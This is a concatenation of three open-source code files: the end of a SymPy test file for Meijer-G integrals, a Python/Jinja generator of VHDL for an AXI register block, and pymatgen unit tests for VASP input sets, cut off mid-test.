(x, 0, oo))) == 1 assert mysimp(integrate(x*dist, (x, 0, oo))) == mu assert mysimp(integrate((x - mu)**2*dist, (x, 0, oo))) == mu**3/lamda assert mysimp(integrate((x - mu)**3*dist, (x, 0, oo))) == 3*mu**5/lamda**2 # Levi c = Symbol('c', positive=True) assert integrate(sqrt(c/2/pi)*exp(-c/2/(x - mu))/(x - mu)**S('3/2'), (x, mu, oo)) == 1 # higher moments oo # log-logistic distn = (beta/alpha)*x**(beta - 1)/alpha**(beta - 1)/ \ (1 + x**beta/alpha**beta)**2 assert simplify(integrate(distn, (x, 0, oo))) == 1 # NOTE the conditions are a mess, but correctly state beta > 1 assert simplify(integrate(x*distn, (x, 0, oo), conds='none')) == \ pi*alpha/beta/sin(pi/beta) # (similar comment for conditions applies) assert simplify(integrate(x**y*distn, (x, 0, oo), conds='none')) == \ pi*alpha**y*y/beta/sin(pi*y/beta) # weibull k = Symbol('k', positive=True) n = Symbol('n', positive=True) distn = k/lamda*(x/lamda)**(k - 1)*exp(-(x/lamda)**k) assert simplify(integrate(distn, (x, 0, oo))) == 1 assert simplify(integrate(x**n*distn, (x, 0, oo))) == \ lamda**n*gamma(1 + n/k) # rice distribution from sympy import besseli nu, sigma = symbols('nu sigma', positive=True) rice = x/sigma**2*exp(-(x**2 + nu**2)/2/sigma**2)*besseli(0, x*nu/sigma**2) assert integrate(rice, (x, 0, oo), meijerg=True) == 1 # can someone verify higher moments? # Laplace distribution mu = Symbol('mu', real=True) b = Symbol('b', positive=True) laplace = exp(-abs(x - mu)/b)/2/b assert integrate(laplace, (x, -oo, oo), meijerg=True) == 1 assert integrate(x*laplace, (x, -oo, oo), meijerg=True) == mu assert integrate(x**2*laplace, (x, -oo, oo), meijerg=True) == \ 2*b**2 + mu**2 # TODO are there other distributions supported on (-oo, oo) that we can do? # misc tests k = Symbol('k', positive=True) assert combsimp(expand_mul(integrate(log(x)*x**(k - 1)*exp(-x)/gamma(k), (x, 0, oo)))) == polygamma(0, k) def test_expint(): """ Test various exponential integrals. """ from sympy import (expint, unpolarify, Symbol, Ci, Si, Shi, Chi, sin, cos, sinh, cosh, Ei) assert simplify(unpolarify(integrate(exp(-z*x)/x**y, (x, 1, oo), meijerg=True, conds='none' ).rewrite(expint).expand(func=True))) == expint(y, z) assert integrate(exp(-z*x)/x, (x, 1, oo), meijerg=True, conds='none').rewrite(expint).expand() == \ expint(1, z) assert integrate(exp(-z*x)/x**2, (x, 1, oo), meijerg=True, conds='none').rewrite(expint).expand() == \ expint(2, z).rewrite(Ei).rewrite(expint) assert integrate(exp(-z*x)/x**3, (x, 1, oo), meijerg=True, conds='none').rewrite(expint).expand() == \ expint(3, z).rewrite(Ei).rewrite(expint).expand() t = Symbol('t', positive=True) assert integrate(-cos(x)/x, (x, t, oo), meijerg=True).expand() == Ci(t) assert integrate(-sin(x)/x, (x, t, oo), meijerg=True).expand() == \ Si(t) - pi/2 assert integrate(sin(x)/x, (x, 0, z), meijerg=True) == Si(z) assert integrate(sinh(x)/x, (x, 0, z), meijerg=True) == Shi(z) assert integrate(exp(-x)/x, x, meijerg=True).expand().rewrite(expint) == \ I*pi - expint(1, x) assert integrate(exp(-x)/x**2, x, meijerg=True).rewrite(expint).expand() \ == expint(1, x) - exp(-x)/x - I*pi u = Symbol('u', polar=True) assert integrate(cos(u)/u, u, meijerg=True).expand().as_independent(u)[1] \ == Ci(u) assert integrate(cosh(u)/u, u, meijerg=True).expand().as_independent(u)[1] \ == Chi(u) assert integrate(expint(1, x), x, meijerg=True ).rewrite(expint).expand() == x*expint(1, x) - exp(-x) assert integrate(expint(2, x), x, meijerg=True ).rewrite(expint).expand() == \ -x**2*expint(1, x)/2 + x*exp(-x)/2 - exp(-x)/2 assert simplify(unpolarify(integrate(expint(y, x), x, meijerg=True).rewrite(expint).expand(func=True))) == \ -expint(y + 1, x) assert integrate(Si(x), x, meijerg=True) == x*Si(x) + cos(x) assert integrate(Ci(u), u, meijerg=True).expand() == u*Ci(u) - sin(u) assert integrate(Shi(x), x, meijerg=True) == x*Shi(x) - cosh(x) assert integrate(Chi(u), u, meijerg=True).expand() == u*Chi(u) - sinh(u) assert integrate(Si(x)*exp(-x), (x, 0, oo), meijerg=True) == pi/4 assert integrate(expint(1, x)*sin(x), (x, 0, oo), meijerg=True) == log(2)/2 def test_messy(): from sympy import (laplace_transform, Si, Ci, Shi, Chi, atan, Piecewise, atanh, acoth, E1, besselj, acosh, asin, Ne, And, re, fourier_transform, sqrt, Abs) assert laplace_transform(Si(x), x, s) == ((-atan(s) + pi/2)/s, 0, True) assert laplace_transform(Shi(x), x, s) == (acoth(s)/s, 1, True) # where should the logs be simplified? assert laplace_transform(Chi(x), x, s) == \ ((log(s**(-2)) - log((s**2 - 1)/s**2))/(2*s), 1, True) # TODO maybe simplify the inequalities? assert laplace_transform(besselj(a, x), x, s)[1:] == \ (0, And(S(0) < re(a/2) + S(1)/2, S(0) < re(a/2) + 1)) # NOTE s < 0 can be done, but argument reduction is not good enough yet assert fourier_transform(besselj(1, x)/x, x, s, noconds=False) == \ (Piecewise((0, 1 < 4*abs(pi**2*s**2)), (2*sqrt(-4*pi**2*s**2 + 1), True)), 0 < s) # TODO FT(besselj(0,x)) - conditions are messy (but for acceptable reasons) # - folding could be better assert integrate(E1(x)*besselj(0, x), (x, 0, oo), meijerg=True) == \ log(1 + sqrt(2)) assert integrate(E1(x)*besselj(1, x), (x, 0, oo), meijerg=True) == \ log(S(1)/2 + sqrt(2)/2) assert integrate(1/x/sqrt(1 - x**2), x, meijerg=True) == \ Piecewise((-acosh(1/x), 1 < abs(x**(-2))), (I*asin(1/x), True)) def test_3023(): assert integrate(exp(-I*x**2), (x, -oo, oo), meijerg=True) == \ -I*sqrt(pi)*exp(I*pi/4) def test_3153(): expr = 1/x/(a + b*x)**(S(1)/3) anti = integrate(expr, x, meijerg=True) assert not expr.has(hyper) # XXX the expression is a mess, but actually upon differentiation and # putting in numerical values seems to work... def test_3249(): assert integrate(exp(I*x)/(1 + x**2), (x, -oo, oo)).simplify().rewrite(exp) \ == pi*exp(-1) def test_fresnel(): from sympy import fresnels, fresnelc assert expand_func(integrate(sin(pi*x**2/2), x)) == fresnels(x) assert expand_func(integrate(cos(pi*x**2/2), x)) == fresnelc(x) def test_3761(): assert meijerint_indefinite(x**x**x, x) is None
lidavidm/mathics-heroku
venv/lib/python2.7/site-packages/sympy/integrals/tests/test_meijerint.py
Python
gpl-3.0
26,966
[ "Gaussian" ]
0eadf32685a34eba7713dee1f2aba1dbd7435ce456960734a80293bf110acf83
""" Python script to create an AXI memory mapped CSR. """ from math import ceil, log2 from jinja2 import Template class Register(object): """A single register in a CSR""" def __init__(self, addr, label, mode, initial_value=0): super(Register, self).__init__() self.addr = addr self.label = label self.mode = mode self.initial_value = initial_value t = Template("""-- AXI memory mapped CSR registers -- -- Original authors: Colm Ryan, Brian Donovan -- Copyright 2015-2016, Raytheon BBN Technologies library ieee; use ieee.std_logic_1164.all; use ieee.numeric_std.all; entity {{MODULE_NAME}} is port ( --CSR control ports {%- for reg in registers|selectattr("mode", "equalto", "write") %} {{reg.label.ljust(JUSTIFICATION_WIDTH)}} : out std_logic_vector(31 downto 0); {%- endfor %} -- CSR status ports {%- for reg in registers|selectattr("mode", "equalto", "read") %} {{reg.label.ljust(JUSTIFICATION_WIDTH)}} : in std_logic_vector(31 downto 0); {%- endfor %} -- slave AXI bus s_axi_aclk : in std_logic; s_axi_aresetn : in std_logic; s_axi_awaddr : in std_logic_vector({{AXI_ADDR_WIDTH-1}} downto 0); s_axi_awprot : in std_logic_vector(2 downto 0); s_axi_awvalid : in std_logic; s_axi_awready : out std_logic; s_axi_wdata : in std_logic_vector({{REGISTER_WIDTH-1}} downto 0); s_axi_wstrb : in std_logic_vector({{REGISTER_BYTE_WIDTH-1}} downto 0); s_axi_wvalid : in std_logic; s_axi_wready : out std_logic; s_axi_bresp : out std_logic_vector(1 downto 0); s_axi_bvalid : out std_logic; s_axi_bready : in std_logic; s_axi_araddr : in std_logic_vector({{AXI_ADDR_WIDTH-1}} downto 0); s_axi_arprot : in std_logic_vector(2 downto 0); s_axi_arvalid : in std_logic; s_axi_arready : out std_logic; s_axi_rdata : out std_logic_vector({{REGISTER_WIDTH-1}} downto 0); s_axi_rresp : out std_logic_vector(1 downto 0); s_axi_rvalid : out std_logic; s_axi_rready : in std_logic ); end entity; architecture arch of {{MODULE_NAME}} is -- array of registers constant NUM_REGS : natural := {{NUM_REGS}}; type REG_ARRAY_t is array(natural range <>) of std_logic_vector({{REGISTER_WIDTH-1}} downto 0) ; signal regs : REG_ARRAY_t(0 to NUM_REGS-1) := (others => (others => '0')); signal write_reg_addr : integer range 0 to NUM_REGS-1; signal read_reg_addr : integer range 0 to NUM_REGS-1; -- internal AXI signals signal axi_awready : std_logic; signal axi_wready : std_logic; signal axi_wdata : std_logic_vector({{REGISTER_WIDTH-1}} downto 0); signal axi_wstrb : std_logic_vector({{REGISTER_BYTE_WIDTH-1}} downto 0); signal axi_bvalid : std_logic; signal axi_arready : std_logic; signal axi_rvalid : std_logic; begin -- wire control/status ports to internal registers {%- for reg in registers|selectattr("mode", "equalto", "write") %} {{reg.label.ljust(JUSTIFICATION_WIDTH)}} <= regs({{reg.addr}}); {%- endfor %} read_regs_register_pro: process (s_axi_aclk) begin if rising_edge(s_axi_aclk) then {%- for reg in registers|selectattr("mode", "equalto", "read") %} regs({{reg.addr}}) <= {{reg.label}}; {%- endfor %} end if; end process; -- connect internal AXI signals s_axi_awready <= axi_awready; s_axi_wready <= axi_wready; s_axi_bvalid <= axi_bvalid; s_axi_arready <= axi_arready; s_axi_rvalid <= axi_rvalid; -- simplistic response to write requests that only handles one write at a time -- 1. hold awready and wready low -- 2. wait until both awvalid and wvalid are asserted -- 3. assert awready and wready high; latch write address and data -- 4. update control register -- 5. always respond with OK s_axi_bresp <= "00"; write_ready_pro : process (s_axi_aclk) begin if rising_edge(s_axi_aclk) then if s_axi_aresetn = '0' then axi_awready <= '0'; axi_wready <= '0'; axi_bvalid <= '0'; else if (axi_awready = '0' and axi_wready = '0' and s_axi_awvalid = '1' and s_axi_wvalid = '1') then axi_awready <= '1'; axi_wready <= '1'; else axi_awready <= '0'; axi_wready <= '0'; end if; -- once writing set response valid high until accepted if axi_wready = '1' then axi_bvalid <= '1'; elsif axi_bvalid = '1' and s_axi_bready = '1' then axi_bvalid <= '0'; end if; end if; end if; end process; -- update control / internal registers update_write_regs_pro : process (s_axi_aclk) begin if rising_edge(s_axi_aclk) then -- decode register address write_reg_addr <= to_integer(unsigned(s_axi_awaddr(s_axi_awaddr'high downto {{LOG2_REGISTER_BYTE_WIDTH}}))); -- register data and byte enables axi_wdata <= s_axi_wdata; axi_wstrb <= s_axi_wstrb; if s_axi_aresetn = '0' then {%- for reg in registers|rejectattr("mode", "equalto", "read") %} regs({{reg.addr}}) <= x"{{"{:08x}".format(reg.initial_value)}}"; -- {{reg.label}} {%- endfor %} else for ct in 0 to {{REGISTER_BYTE_WIDTH-1}} loop if axi_wstrb(ct) = '1' and axi_wready = '1' then {%- for reg in registers|rejectattr("mode", "equalto", "read") %} -- {{reg.label}} if write_reg_addr = {{reg.addr}} then regs({{reg.addr}})(ct*8+7 downto ct*8) <= axi_wdata(ct*8+7 downto ct*8); end if; {%- endfor %} end if; end loop; end if; end if; end process; -- read response -- respond with data one clock later s_axi_rresp <= "00"; -- always OK read_response_pro : process (s_axi_aclk) begin if rising_edge(s_axi_aclk) then if s_axi_aresetn = '0' then axi_arready <= '0'; read_reg_addr <= 0; s_axi_rdata <= (others => '0'); axi_rvalid <= '0'; else -- acknowledge and latch address when no outstanding read responses if axi_arready = '0' and s_axi_arvalid = '1' then axi_arready <= '1'; -- latch register address read_reg_addr <= to_integer(unsigned(s_axi_araddr(s_axi_araddr'high downto {{LOG2_REGISTER_BYTE_WIDTH}}))); else axi_arready <= '0'; end if; -- hold data valid high after latching address and until response if axi_arready = '1' then axi_rvalid <= '1'; elsif axi_rvalid = '1' and s_axi_rready = '1' then axi_rvalid <= '0'; end if; -- register out data s_axi_rdata <= regs(read_reg_addr); end if; end if; end process; end architecture; """ ) def write_axi_csr(filename, registers, module_name="AXI_CSR", register_width=32): # check that register width is a power of 2 assert int(log2(register_width)) == log2(register_width), "register_width must be power of 2" register_byte_width = register_width // 8 log2_register_byte_width = int(log2(register_byte_width)) # figure out some constants ceil_log2_num_regs = ceil( log2(max(reg.addr for reg in registers) + 1 ) ) axi_addr_width = ceil_log2_num_regs + log2_register_byte_width num_regs = 2**(ceil_log2_num_regs) # maximum register width for some alignment nicieties justification_width = max(len(reg.label) for reg in registers if reg.mode == "read" or reg.mode == "write" ) with open(filename, "w") as FID: FID.write( t.render( MODULE_NAME=module_name, registers=registers, JUSTIFICATION_WIDTH=justification_width, NUM_REGS=num_regs, AXI_ADDR_WIDTH=axi_addr_width, REGISTER_WIDTH=register_width, REGISTER_BYTE_WIDTH=register_byte_width, LOG2_REGISTER_BYTE_WIDTH=log2_register_byte_width ) ) if __name__ == '__main__': registers = [ Register(0, "status1", "read"), Register(1, "status2", "read"), Register(2, "control1", "write", initial_value=0xffffffff), Register(3, "control2", "write", initial_value=0x01234567), Register(5, "scratch", "internal", initial_value=0x000dba11) ] write_axi_csr("AXI_CSR.vhd", registers, 32)
BBN-Q/VHDL-Components
src/axi_csr.py
Python
mpl-2.0
7,722
[ "Brian" ]
eb4f64d06a108575a849d934036e029d5a62819287fc6351ae7226a14ea13e44
# coding: utf-8 # Copyright (c) Pymatgen Development Team. # Distributed under the terms of the MIT License. import unittest import os import tempfile from monty.json import MontyDecoder from pymatgen.io.vasp.sets import * from pymatgen.io.vasp.inputs import Poscar, Kpoints from pymatgen.core import Specie, Lattice, Structure from pymatgen.core.surface import SlabGenerator from pymatgen.util.testing import PymatgenTest from pymatgen.io.vasp.outputs import Vasprun dec = MontyDecoder() class MITMPRelaxSetTest(PymatgenTest): @classmethod def setUpClass(cls): filepath = cls.TEST_FILES_DIR / 'POSCAR' poscar = Poscar.from_file(filepath) cls.structure = poscar.structure cls.coords = [[0, 0, 0], [0.75, 0.5, 0.75]] cls.lattice = Lattice( [[3.8401979337, 0.00, 0.00], [1.9200989668, 3.3257101909, 0.00], [0.00, -2.2171384943, 3.1355090603]]) cls.mitset = MITRelaxSet(cls.structure) cls.mitset_unsorted = MITRelaxSet(cls.structure, sort_structure=False) cls.mpset = MPRelaxSet(cls.structure) def setUp(self): warnings.simplefilter("ignore") def tearDown(self): warnings.simplefilter("default") def test_metal_check(self): structure = Structure.from_spacegroup("Fm-3m", Lattice.cubic(3), ["Cu"], [[0, 0, 0]]) with warnings.catch_warnings(record=True) as w: # Cause all warnings to always be triggered. warnings.simplefilter("always") # Trigger a warning. vis = MITRelaxSet(structure) incar = vis.incar # Verify some things self.assertIn("ISMEAR", str(w[-1].message)) def test_poscar(self): structure = Structure(self.lattice, ["Fe", "Mn"], self.coords) mitparamset = MITRelaxSet(structure, sort_structure=False) s_unsorted = mitparamset.poscar.structure mitparamset = MITRelaxSet(structure, sort_structure=True) s_sorted = mitparamset.poscar.structure self.assertEqual(s_unsorted[0].specie.symbol, 'Fe') self.assertEqual(s_sorted[0].specie.symbol, 'Mn') def test_potcar_symbols(self): coords = list() coords.append([0, 0, 0]) coords.append([0.75, 0.5, 0.75]) coords.append([0.75, 0.25, 0.75]) lattice = Lattice([[3.8401979337, 0.00, 0.00], [1.9200989668, 3.3257101909, 0.00], [0.00, -2.2171384943, 3.1355090603]]) structure = Structure(lattice, ["P", "Fe", "O"], coords) mitparamset = MITRelaxSet(structure) syms = mitparamset.potcar_symbols self.assertEqual(syms, ['Fe', 'P', 'O']) paramset = MPRelaxSet(structure, sort_structure=False) syms = paramset.potcar_symbols self.assertEqual(syms, ['P', 'Fe_pv', 'O']) def test_lda_potcar(self): structure = Structure(self.lattice, ["P", "Fe"], self.coords) p = MITRelaxSet(structure, potcar_functional="LDA").potcar self.assertEqual(p.functional, 'LDA') def test_nelect(self): coords = [[0] * 3, [0.5] * 3, [0.75] * 3] lattice = Lattice.cubic(4) s = Structure(lattice, ['Si', 'Si', 'Fe'], coords) self.assertAlmostEqual(MITRelaxSet(s).nelect, 16) # Check that it works even when oxidation states are present. Was a bug # previously. s = Structure(lattice, ['Si4+', 'Si4+', 'Fe2+'], coords) self.assertAlmostEqual(MITRelaxSet(s).nelect, 16) self.assertAlmostEqual(MPRelaxSet(s).nelect, 22) # Check that it works for disordered structure. Was a bug previously s = Structure(lattice, ['Si4+', 'Fe2+', 'Si4+'], coords) self.assertAlmostEqual(MITRelaxSet(s).nelect, 16) self.assertAlmostEqual(MPRelaxSet(s).nelect, 22) def test_get_incar(self): incar = self.mpset.incar self.assertEqual(incar['LDAUU'], [5.3, 0, 0]) self.assertAlmostEqual(incar['EDIFF'], 0.0012) incar = self.mitset.incar self.assertEqual(incar['LDAUU'], [4.0, 0, 0]) self.assertAlmostEqual(incar['EDIFF'], 1e-5) si = 14 coords = list() coords.append(np.array([0, 0, 0])) coords.append(np.array([0.75, 0.5, 0.75])) # Silicon structure for testing. latt = Lattice(np.array([[3.8401979337, 0.00, 0.00], [1.9200989668, 3.3257101909, 0.00], [0.00, -2.2171384943, 3.1355090603]])) struct = Structure(latt, [si, si], coords) incar = MPRelaxSet(struct).incar self.assertNotIn("LDAU", incar) coords = list() coords.append([0, 0, 0]) coords.append([0.75, 0.5, 0.75]) lattice = Lattice([[3.8401979337, 0.00, 0.00], [1.9200989668, 3.3257101909, 0.00], [0.00, -2.2171384943, 3.1355090603]]) struct = Structure(lattice, ["Fe", "Mn"], coords) incar = MPRelaxSet(struct).incar self.assertNotIn('LDAU', incar) # check fluorides struct = Structure(lattice, ["Fe", "F"], coords) incar = MPRelaxSet(struct).incar self.assertEqual(incar['LDAUU'], [5.3, 0]) self.assertEqual(incar['MAGMOM'], [5, 0.6]) struct = Structure(lattice, ["Fe", "F"], coords) incar = MITRelaxSet(struct).incar self.assertEqual(incar['LDAUU'], [4.0, 0]) # Make sure this works with species. struct = Structure(lattice, ["Fe2+", "O2-"], coords) incar = MPRelaxSet(struct).incar self.assertEqual(incar['LDAUU'], [5.3, 0]) struct = Structure(lattice, ["Fe", "Mn"], coords, site_properties={'magmom': (5.2, -4.5)}) incar = MPRelaxSet(struct).incar self.assertEqual(incar['MAGMOM'], [-4.5, 5.2]) incar = MITRelaxSet(struct, sort_structure=False).incar self.assertEqual(incar['MAGMOM'], [5.2, -4.5]) struct = Structure(lattice, [Specie("Fe", 2, {'spin': 4.1}), "Mn"], coords) incar = MPRelaxSet(struct).incar self.assertEqual(incar['MAGMOM'], [5, 4.1]) struct = Structure(lattice, ["Mn3+", "Mn4+"], coords) incar = MITRelaxSet(struct).incar self.assertEqual(incar['MAGMOM'], [4, 3]) userset = MPRelaxSet(struct, user_incar_settings={ 'MAGMOM': {"Fe": 10, "S": -5, "Mn3+": 100}} ) self.assertEqual(userset.incar['MAGMOM'], [100, 0.6]) noencutset = MPRelaxSet(struct, user_incar_settings={'ENCUT': None}) self.assertNotIn("ENCUT", noencutset.incar) # sulfide vs sulfate test coords = list() coords.append([0, 0, 0]) coords.append([0.75, 0.5, 0.75]) coords.append([0.25, 0.5, 0]) struct = Structure(lattice, ["Fe", "Fe", "S"], coords) incar = MITRelaxSet(struct).incar self.assertEqual(incar['LDAUU'], [1.9, 0]) # Make sure Matproject sulfides are ok. self.assertNotIn('LDAUU', MPRelaxSet(struct).incar) struct = Structure(lattice, ["Fe", "S", "O"], coords) incar = MITRelaxSet(struct).incar self.assertEqual(incar['LDAUU'], [4.0, 0, 0]) # Make sure Matproject sulfates are ok. self.assertEqual(MPRelaxSet(struct).incar['LDAUU'], [5.3, 0, 0]) # test for default LDAUU value userset_ldauu_fallback = MPRelaxSet(struct, user_incar_settings={ 'LDAUU': {'Fe': 5.0, 'S': 0}} ) self.assertEqual(userset_ldauu_fallback.incar['LDAUU'], [5.0, 0, 0]) # Expected to be oxide (O is the most electronegative atom) s = Structure(lattice, ["Fe", "O", "S"], coords) incar = MITRelaxSet(s).incar self.assertEqual(incar["LDAUU"], [4.0, 0, 0]) # Expected to be chloride (Cl is the most electronegative atom) s = Structure(lattice, ["Fe", "Cl", "S"], coords) incar = MITRelaxSet(s, user_incar_settings={"LDAU": True}).incar self.assertFalse("LDAUU" in incar) # LDAU = False # User set a compound to be sulfide by specifing values of "LDAUL" etc. s = Structure(lattice, ["Fe", "Cl", "S"], coords) incar = MITRelaxSet(s, user_incar_settings={"LDAU": True, "LDAUL": {"Fe": 3}, "LDAUU": {"Fe": 1.8}}).incar self.assertEqual(incar["LDAUL"], [3.0, 0, 0]) self.assertEqual(incar["LDAUU"], [1.8, 0, 0]) # test that van-der-Waals parameters are parsed correctly incar = MITRelaxSet(struct, vdw='optB86b').incar self.assertEqual(incar['GGA'], 'Mk') self.assertEqual(incar['LUSE_VDW'], True) self.assertEqual(incar['PARAM1'], 0.1234) # Test that NELECT is updated when a charge is present si = 14 coords = list() coords.append(np.array([0, 0, 0])) coords.append(np.array([0.75, 0.5, 0.75])) # Silicon structure for testing. latt = Lattice(np.array([[3.8401979337, 0.00, 0.00], [1.9200989668, 3.3257101909, 0.00], [0.00, -2.2171384943, 3.1355090603]])) struct = Structure(latt, [si, si], coords, charge=1) mpr = MPRelaxSet(struct, use_structure_charge=True) self.assertEqual(mpr.incar["NELECT"], 7, "NELECT not properly set for nonzero charge") # test that NELECT does not get set when use_structure_charge = False mpr = MPRelaxSet(struct, use_structure_charge=False) self.assertFalse("NELECT" in mpr.incar.keys(), "NELECT should not be set when " "use_structure_charge is False") def test_get_kpoints(self): kpoints = MPRelaxSet(self.structure).kpoints self.assertEqual(kpoints.kpts, [[2, 4, 5]]) self.assertEqual(kpoints.style, Kpoints.supported_modes.Gamma) kpoints = MPRelaxSet(self.structure, user_kpoints_settings={ "reciprocal_density": 1000}).kpoints self.assertEqual(kpoints.kpts, [[6, 10, 13]]) self.assertEqual(kpoints.style, Kpoints.supported_modes.Gamma) kpoints_obj = Kpoints(kpts=[[3, 3, 3]]) kpoints_return = MPRelaxSet(self.structure, user_kpoints_settings=kpoints_obj).kpoints self.assertEqual(kpoints_return.kpts, [[3, 3, 3]]) kpoints = self.mitset.kpoints self.assertEqual(kpoints.kpts, [[25]]) self.assertEqual(kpoints.style, Kpoints.supported_modes.Automatic) recip_paramset = MPRelaxSet(self.structure, force_gamma=True) recip_paramset.kpoints_settings = {"reciprocal_density": 40} kpoints = recip_paramset.kpoints self.assertEqual(kpoints.kpts, [[2, 4, 5]]) self.assertEqual(kpoints.style, Kpoints.supported_modes.Gamma) def test_get_vasp_input(self): d = self.mitset.get_vasp_input() self.assertEqual(d["INCAR"]["ISMEAR"], -5) s = self.structure.copy() s.make_supercell(4) paramset = MPRelaxSet(s) d = paramset.get_vasp_input() self.assertEqual(d["INCAR"]["ISMEAR"], 0) def test_MPMetalRelaxSet(self): mpmetalset = MPMetalRelaxSet(self.get_structure("Sn")) incar = mpmetalset.incar self.assertEqual(incar["ISMEAR"], 1) self.assertEqual(incar["SIGMA"], 0.2) kpoints = mpmetalset.kpoints self.assertArrayAlmostEqual(kpoints.kpts[0], [5, 5, 5]) def test_as_from_dict(self): mitset = MITRelaxSet(self.structure) mpset = MPRelaxSet(self.structure) mpuserset = MPRelaxSet(self.structure, user_incar_settings={ 'MAGMOM': {"Fe": 10, "S": -5, "Mn3+": 100}} ) d = mitset.as_dict() v = dec.process_decoded(d) self.assertEqual(v._config_dict["INCAR"]["LDAUU"]["O"]["Fe"], 4) d = mpset.as_dict() v = dec.process_decoded(d) self.assertEqual(v._config_dict["INCAR"]["LDAUU"]["O"]["Fe"], 5.3) d = mpuserset.as_dict() v = dec.process_decoded(d) # self.assertEqual(type(v), MPVaspInputSet) self.assertEqual(v.user_incar_settings["MAGMOM"], {"Fe": 10, "S": -5, "Mn3+": 100}) def test_hubbard_off_and_ediff_override(self): p = MPRelaxSet(self.structure, user_incar_settings={"LDAU": False, "EDIFF": 1e-10}) self.assertNotIn("LDAUU", p.incar) self.assertEqual(p.incar["EDIFF"], 1e-10) def test_write_input(self): self.mitset.write_input(".", make_dir_if_not_present=True) for f in ["INCAR", "KPOINTS", "POSCAR", "POTCAR"]: self.assertTrue(os.path.exists(f)) self.assertFalse(os.path.exists("Fe4P4O16.cif")) self.mitset.write_input(".", make_dir_if_not_present=True, include_cif=True) self.assertTrue(os.path.exists("Fe4P4O16.cif")) for f in ["INCAR", "KPOINTS", "POSCAR", "POTCAR", "Fe4P4O16.cif"]: os.remove(f) def test_user_potcar_settings(self): vis = MPRelaxSet(self.structure, user_potcar_settings={"Fe": "Fe"}) potcar = vis.potcar self.assertEqual(potcar.symbols, ["Fe", "P", "O"]) class MPStaticSetTest(PymatgenTest): def setUp(self): self.tmp = tempfile.mkdtemp() warnings.simplefilter("ignore") def test_init(self): prev_run = self.TEST_FILES_DIR / "relaxation" vis = MPStaticSet.from_prev_calc(prev_calc_dir=prev_run) self.assertEqual(vis.incar["NSW"], 0) # Check that the ENCUT has been inherited. self.assertEqual(vis.incar["ENCUT"], 600) self.assertEqual(vis.kpoints.style, Kpoints.supported_modes.Monkhorst) # Check as from dict. vis = MPStaticSet.from_dict(vis.as_dict()) self.assertEqual(vis.incar["NSW"], 0) # Check that the ENCUT has been inherited. self.assertEqual(vis.incar["ENCUT"], 600) self.assertEqual(vis.kpoints.style, Kpoints.supported_modes.Monkhorst) non_prev_vis = MPStaticSet(vis.structure, user_incar_settings={"LORBIT": 12, "LWAVE": True}) self.assertEqual(non_prev_vis.incar["NSW"], 0) # Check that the ENCUT and Kpoints style has NOT been inherited. self.assertEqual(non_prev_vis.incar["ENCUT"], 520) # Check that user incar settings are applied. self.assertEqual(non_prev_vis.incar["LORBIT"], 12) self.assertTrue(non_prev_vis.incar["LWAVE"]) self.assertEqual(non_prev_vis.kpoints.style, Kpoints.supported_modes.Gamma) v2 = MPStaticSet.from_dict(non_prev_vis.as_dict()) self.assertEqual(v2.incar["ENCUT"], 520) # Check that user incar settings are applied. self.assertEqual(v2.incar["LORBIT"], 12) leps_vis = MPStaticSet.from_prev_calc(prev_calc_dir=prev_run, lepsilon=True) self.assertTrue(leps_vis.incar["LEPSILON"]) self.assertEqual(leps_vis.incar["IBRION"], 8) self.assertNotIn("NPAR", leps_vis.incar) self.assertNotIn("NSW", leps_vis.incar) self.assertEqual(non_prev_vis.kpoints.kpts, [[11, 10, 10]]) non_prev_vis = MPStaticSet(vis.structure, reciprocal_density=200) self.assertEqual(non_prev_vis.kpoints.kpts, [[14, 12, 12]]) # Check LCALCPOL flag lcalcpol_vis = MPStaticSet.from_prev_calc(prev_calc_dir=prev_run, lcalcpol=True) self.assertTrue(lcalcpol_vis.incar["LCALCPOL"]) def test_override_from_prev_calc(self): # test override_from_prev prev_run = self.TEST_FILES_DIR / "relaxation" vis = MPStaticSet(_dummy_structure) vis.override_from_prev_calc(prev_calc_dir=prev_run) self.assertEqual(vis.incar["NSW"], 0) self.assertEqual(vis.incar["ENCUT"], 600) self.assertEqual(vis.kpoints.style, Kpoints.supported_modes.Monkhorst) # Check LCALCPOL flag lcalcpol_vis = MPStaticSet(_dummy_structure, lcalcpol=True) lcalcpol_vis = lcalcpol_vis.override_from_prev_calc( prev_calc_dir=prev_run) self.assertTrue(lcalcpol_vis.incar["LCALCPOL"]) def test_standardize_structure(self): sga = SpacegroupAnalyzer(self.get_structure("Si")) original_structure = sga.get_conventional_standard_structure() sm = StructureMatcher(primitive_cell=False, scale=False) vis = MPStaticSet(original_structure) self.assertTrue(sm.fit(vis.structure, original_structure)) vis = MPStaticSet(original_structure, standardize=True) self.assertFalse(sm.fit(vis.structure, original_structure)) def tearDown(self): shutil.rmtree(self.tmp) warnings.simplefilter("default") class MPNonSCFSetTest(PymatgenTest): def setUp(self): self.tmp = tempfile.mkdtemp() warnings.simplefilter("ignore") def test_init(self): prev_run = self.TEST_FILES_DIR / "relaxation" # check boltztrap mode vis = MPNonSCFSet.from_prev_calc(prev_calc_dir=prev_run, mode="Boltztrap") self.assertEqual(vis.incar["ISMEAR"], 0) # check uniform mode vis = MPNonSCFSet.from_prev_calc(prev_calc_dir=prev_run, mode="Uniform") self.assertEqual(vis.incar["ISMEAR"], -5) # test line mode vis = MPNonSCFSet.from_prev_calc( prev_calc_dir=prev_run, mode="Line", copy_chgcar=False, user_incar_settings={"SIGMA": 0.025}) self.assertEqual(vis.incar["NSW"], 0) # Check that the ENCUT has been inherited. self.assertEqual(vis.incar["ENCUT"], 600) # Check that the user_incar_settings works self.assertEqual(vis.incar["SIGMA"], 0.025) self.assertEqual(vis.kpoints.style, Kpoints.supported_modes.Reciprocal) # Check as from dict. vis = MPNonSCFSet.from_dict(vis.as_dict()) self.assertEqual(vis.incar["NSW"], 0) # Check that the ENCUT has been inherited. self.assertEqual(vis.incar["ENCUT"], 600) self.assertEqual(vis.kpoints.style, Kpoints.supported_modes.Reciprocal) vis.write_input(self.tmp) self.assertFalse(os.path.exists(os.path.join(self.tmp, "CHGCAR"))) vis = MPNonSCFSet.from_prev_calc(prev_calc_dir=prev_run, mode="Line", copy_chgcar=True) # check ISMEAR set correctly for line mode self.assertEqual(vis.incar["ISMEAR"], 0) vis.write_input(self.tmp) self.assertTrue(os.path.exists(os.path.join(self.tmp, "CHGCAR"))) os.remove(os.path.join(self.tmp, "CHGCAR")) vis = MPNonSCFSet.from_prev_calc(prev_calc_dir=prev_run, standardize=True, mode="Line", copy_chgcar=True) vis.write_input(self.tmp) self.assertFalse(os.path.exists(os.path.join(self.tmp, "CHGCAR"))) def test_override_from_prev(self): prev_run = 